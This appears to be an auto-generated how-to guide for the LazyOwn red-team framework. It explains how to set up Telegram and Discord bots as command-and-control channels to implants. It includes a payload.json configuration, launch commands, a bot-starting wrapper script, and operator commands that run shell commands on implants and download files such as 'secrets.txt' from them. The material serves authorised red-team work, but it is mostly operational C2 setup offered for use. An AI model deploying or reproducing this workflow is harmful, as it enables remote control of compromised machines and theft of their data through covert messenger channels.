# How to Configure Multi-Channel C2 Communication with Telegram and Discord in LazyOwn

> Learn how to configure multi-channel C2 communication with Telegram and Discord in LazyOwn. Set up independent bots and forward commands securely via Flask API.

- Repository: [Grisuno/lazyown](https://github.com/grisuno/lazyown)
- Tags: how-to-guide
- Published: 2026-03-02

---

**LazyOwn enables multi-channel C2 communication by running independent Telegram and Discord bots that authenticate operators via a shared secret defined in [`payload.json`](https://github.com/grisuno/lazyown/blob/main/payload.json), forwarding commands to the internal shell and implant C2 server through the Flask API.**

The LazyOwn framework exposes its command-and-control interface through popular messenger platforms, allowing operators to issue commands, transfer files, and monitor implant sessions without direct network access to the C2 server. By configuring the central [`payload.json`](https://github.com/grisuno/lazyown/blob/main/payload.json) file and launching the respective bot scripts, you can establish redundant C2 channels that maintain session state, enforce rate limiting, and validate operator identity using a single shared secret.

## Architecture of Multi-Channel C2 in LazyOwn

### Core Components

The multi-channel C2 system relies on three primary components implemented across [`telegram_c2.py`](https://github.com/grisuno/lazyown/blob/main/telegram_c2.py) and [`discord_c2.py`](https://github.com/grisuno/lazyown/blob/main/discord_c2.py):

- **[`payload.json`](https://github.com/grisuno/lazyown/blob/main/payload.json)**: The central configuration file read by every LazyOwn module. It stores `telegram_token` and `discord_token` for API authentication, boolean flags (`enable_telegram_c2` and `enable_discord_c2`) to toggle bot activation, and the `c2_pass` shared secret used for operator authentication.
- **`Config` class**: Loads the JSON payload and exposes values as attributes using `config = Config(load_payload())` (lines 92‑93 in both bot files).
- **`SecureSessionManager`**: Handles per‑user session state, enforcing lock‑out after `MAX_FAILED_ATTEMPTS` (3 failed logins) and rate limiting (`RATE_LIMIT` = 5 commands per minute) via methods `check_lockout`, `check_rate_limit`, `create_session`, and `validate_session` (lines 25‑78).

Both integrations use the same architecture but different messaging SDKs. Telegram uses `python‑telegram‑bot` with `Application.builder().token(telegram_token).build()` (line 80), while Discord uses [`discord.py`](https://github.com/grisuno/lazyown/blob/main/discord.py) with `commands.Bot(command_prefix='!', intents=intents)` (line 22).

### Command and Control Flow

When an operator interacts with a bot, the system processes messages through a five-step pipeline:

1. **Authentication**: The operator sends `/start <secret>` (Telegram) or `!start <secret>` (Discord). The bot validates the secret against `c2_pass` and creates a session stored in the `user_games` dictionary.
2. **Command Interception**: Subsequent text messages are captured by `exce_cmd` (Telegram lines 16‑87, Discord lines 44‑88).
3. **C2 Forwarding**: If the message starts with `c2`, the bot constructs an `issue_command_to_c2 <client_id> <payload>` string and relays it to the internal `LazyOwnShell` via `shell.one_cmd`.
4. **Implant Execution**: The shell forwards commands to the main C2 server ([`lazyc2.py`](https://github.com/grisuno/lazyown/blob/main/lazyc2.py)) via the Flask API endpoint `https://{lhost}:{c2_port}/get_connected_clients`.
5. **Response Retrieval**: The bot reads the last row of the CSV log stored at `sessions/<client_id>.log` to provide history, output, OS, and PID information.

File transfers follow a similar path. For uploads, the `handle_file` function (Telegram lines 101‑126, Discord lines 12‑37) saves attachments to `sessions/temp_telegram/` before invoking `upload_c2 <client_id> <path>`. Downloads use the `download_c2` command to retrieve files from implants.

## Step-by-Step Configuration Guide

### Generate Bot API Tokens

Before editing configuration files, obtain the necessary tokens from each platform:

- **Telegram**: Message BotFather, create a new bot, and copy the provided API token.
- **Discord**: Create a new application in the Discord Developer Portal, add a Bot, and copy the token from the Bot settings page.

### Configure payload.json

Edit the [`payload.json`](https://github.com/grisuno/lazyown/blob/main/payload.json) file located at the repository root to enable both channels and set the shared authentication secret:

```json
{
    "telegram_token": "1234567890:ABCdefGHIjklMNOpqrSTUvwxyz",
    "discord_token": "MTAxMDk...",
    "enable_telegram_c2": true,
    "enable_discord_c2": true,
    "c2_pass": "SuperSecretPassword123",
    "lhost": "0.0.0.0",
    "c2_port": 8443
}

```

Both platforms use the same `c2_pass` value. The bots will auto‑exit if their respective `enable_*_c2` flags are set to `false`.

### Launch the Bot Processes

Start the bots from a Python virtual environment containing the required dependencies (`python‑telegram‑bot`, [`discord.py`](https://github.com/grisuno/lazyown/blob/main/discord.py), `requests`):

```bash
python3 telegram_c2.py &
python3 discord_c2.py &

```

Each script checks the enable flags at import time (lines 92‑94). If enabled, the bots connect to their respective APIs and begin listening for operator commands. Both processes run independently from the main C2 server and only require network reachability to the Flask API endpoint.

### Operator Interaction Workflow

Once bots are running, operators authenticate and issue commands using platform-specific prefixes:

**Telegram Commands:**

```

/start SuperSecretPassword123
/clients
c2 whoami

```

**Discord Commands:**

```

!start SuperSecretPassword123
!clients
!c2 ps aux
!download_c2 <client_id> secrets.txt

```

The `!clients` or `/clients` command queries the Flask API to display currently connected implants. Prefixing commands with `c2` (or `!c2` on Discord) routes them through the C2 server to specific implants, while unprefixed commands execute locally in the LazyOwn shell.

## Automation Script for Multi-Channel Deployment

For operational efficiency, use a wrapper script to conditionally launch bots based on [`payload.json`](https://github.com/grisuno/lazyown/blob/main/payload.json) flags:

```python

# start_c2_bots.py

import json
from pathlib import Path
import subprocess
import sys

payload_path = Path(__file__).parent / "payload.json"
with payload_path.open() as f:
    cfg = json.load(f)

if cfg.get("enable_telegram_c2"):
    print("[*] Starting Telegram C2 bot...")
    subprocess.Popen([sys.executable, "telegram_c2.py"])

if cfg.get("enable_discord_c2"):
    print("[*] Starting Discord C2 bot...")
    subprocess.Popen([sys.executable, "discord_c2.py"])

```

Executing `python3 start_c2_bots.py` launches only the enabled channels as separate background processes, simplifying multi-channel C2 deployment.

## Summary

- **Centralized Configuration**: All C2 settings reside in [`payload.json`](https://github.com/grisuno/lazyown/blob/main/payload.json), including toggle flags, API tokens, and the shared operator secret (`c2_pass`).
- **Dual-Channel Architecture**: [`telegram_c2.py`](https://github.com/grisuno/lazyown/blob/main/telegram_c2.py) and [`discord_c2.py`](https://github.com/grisuno/lazyown/blob/main/discord_c2.py) implement identical session management and command forwarding logic using their respective SDKs.
- **Security Controls**: The `SecureSessionManager` enforces 3-attempt lockouts and 5-command-per-minute rate limiting to prevent brute force and flooding.
- **Command Routing**: Messages prefixed with `c2` are forwarded to implants via the Flask API, while local commands execute in the LazyOwn shell.
- **File Operations**: Uploads are staged in `sessions/temp_telegram/` before transfer; downloads retrieve files directly from implant sessions logged in CSV format.

## Frequently Asked Questions

### How does LazyOwn authenticate operators on Telegram and Discord?

LazyOwn authenticates operators using a shared secret (`c2_pass`) defined in [`payload.json`](https://github.com/grisuno/lazyown/blob/main/payload.json). When an operator sends `/start <secret>` (Telegram) or `!start <secret>` (Discord), the bot validates the input against the configured password using the `SecureSessionManager` class. Upon successful validation, the bot creates a session with a random game token stored in `user_games`, granting access for the duration of the session timeout.

### Can I enable only one C2 channel and disable the other?

Yes. Each channel operates independently based on boolean flags in [`payload.json`](https://github.com/grisuno/lazyown/blob/main/payload.json). Set `enable_telegram_c2` to `true` and `enable_discord_c2` to `false` (or vice versa) to activate only the desired channel. The bot scripts check these flags at startup (lines 92‑94 in both [`telegram_c2.py`](https://github.com/grisuno/lazyown/blob/main/telegram_c2.py) and [`discord_c2.py`](https://github.com/grisuno/lazyown/blob/main/discord_c2.py)) and will idle if their respective flag is disabled.

### What is the rate limiting policy for C2 commands?

The `SecureSessionManager` enforces a hard limit of **5 commands per minute** per operator session, defined by the `RATE_LIMIT` constant. Additionally, operators are locked out after **3 failed authentication attempts** (`MAX_FAILED_ATTEMPTS`). These protections are implemented in lines 25‑78 of both bot files to prevent brute force attacks and command flooding.

### How does the bot handle file uploads to implants?

When an operator attaches a file to an upload command (`/addcli` or `!addcli`), the `handle_file` function (Telegram lines 101‑126, Discord lines 12‑37) saves the attachment to a temporary directory (`sessions/temp_telegram/`). The bot then invokes the `upload_c2 <client_id> <path>` shell command, which transfers the file to the target implant through the existing C2 channel. Downloads follow the reverse path using the `download_c2` command.